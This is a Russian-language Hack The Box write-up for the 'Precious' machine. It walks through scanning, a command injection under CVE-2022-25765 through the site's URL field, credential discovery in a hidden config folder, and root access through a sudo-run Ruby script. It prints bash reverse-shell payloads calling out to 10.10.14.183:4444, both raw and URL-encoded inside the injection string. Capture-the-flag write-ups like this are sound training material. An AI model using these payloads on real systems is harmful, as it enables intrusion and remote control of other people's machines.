Precious HTB WriteUp by artrone
Разведка
Для начала, как и всегда, сканим наш IP адрес:
Так, увидели, что открыты порты 22 и 80- SSH и HTTP. На 80-м порту мы видим, что по нашему адресу работает сайт с адресом http://precious.htb/
Давайте попытаемся зайти на него:
Не получилось(((( Не беда- добавим его в /etc/hosts:
Ага, небогато, но да ладно. Давайте быстро чекнем код элемента на интересные штуки. СПОЙЛЕР: их нет(
В таком случае, давайте найдем что-то интересное иным способом? Используем:
dirbuster (перечислим директории сайта):
gobuster (перечислим поддомены сайта):
Что ж, ничего не нашли. Тогда давайте разбираться с тем, что предлагаем нам основная страница сайта.
Что мы имеем? У нас есть поле для ввода адреса сайта, ок.
Нетрудно догадаться, что мы воспользуемся этим для получения reverse shell'a.
Я непродолжительное время пытался допереть как это можно реализовать. Думал что-то типа:
http://precious.htb/bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.183%2F4444%200%3E%261 , где bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.183%2F4444%200%3E%261 - это bash -i >& /dev/tcp/10.10.14.183/4444 0>&1 с параметром "URL Encode" ака зашифрованный пэйлод.
Да, пытался втупую передать запрос на reverse shell, но, к сожалению, не получилось.
Ладно, а как правильно тогда? Изучив полезные статьи, ссылки на которые ниже, я понял, что немного не так делал:
CVE-2022-25765 aka внедрение команд в url запрос
Итак, если вы догадались- молодец, а если нет, то не беда:
Корректным будет запрос вида: http://localhost/?name=#{..............}
Воспользовавшись данными знаниями, генерим наш запрос:
http://localhost/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.183/4444 0>&1"`'}
По синтаксису: %20 - это пробел; bash -c переопределяет остальную часть командной строки, так что она больше не проходит через обработку параметров bash; bash -i >& /dev/tcp/10.10.14.183/4444 0>&1 - это наш reverse shell
Кстати, напомню, что я испльзую https://www.revshells.com/ для создания пэйлода и вам советую:
Стоит отметить, что в качестве ОС выбираем Линукс (см. в сканировании nmap) -> bash -i -> shell bash
Всё, с этим разобрались. Давайте врубим netcat и отправим запрос:
Кул, получили строку. Далее шерстим:
Нашли флаг у другого юзера- henry. Но, как мы видим, у нас нет прав для открытия тхт.
Прописав команду ls -la, увидим скрытую папку. Перейдем туда:
После открытия config, получим учетку юзера henry. Перейдем в SSH:
Так, тут всё понятно - получить юзер флаг:
Увы, скрин потерял, но я в вас верю, хах.
Давайте посмотрим через команду sudo -l наши возможности:
Увидели, что можем открыть файл /opt/update_dependencies.rb
После открытия видим строку "Сравните установленные зависимости с теми, которые указаны в "dependencies.yml""
Круто, давайте создадим символическую ссылку с помощью команды ln -s [исходный файл] [целевой файл] и запустим это всё дело:
Эти циферки с буквами - наш рут флаг. Конгратс!
Кстати, стоит дополнить, что команда sudo /usr/bin/ruby /opt/update_dependencies.rb выглядит именно так потому, что мы может запустить файл по такому "пути" от рута: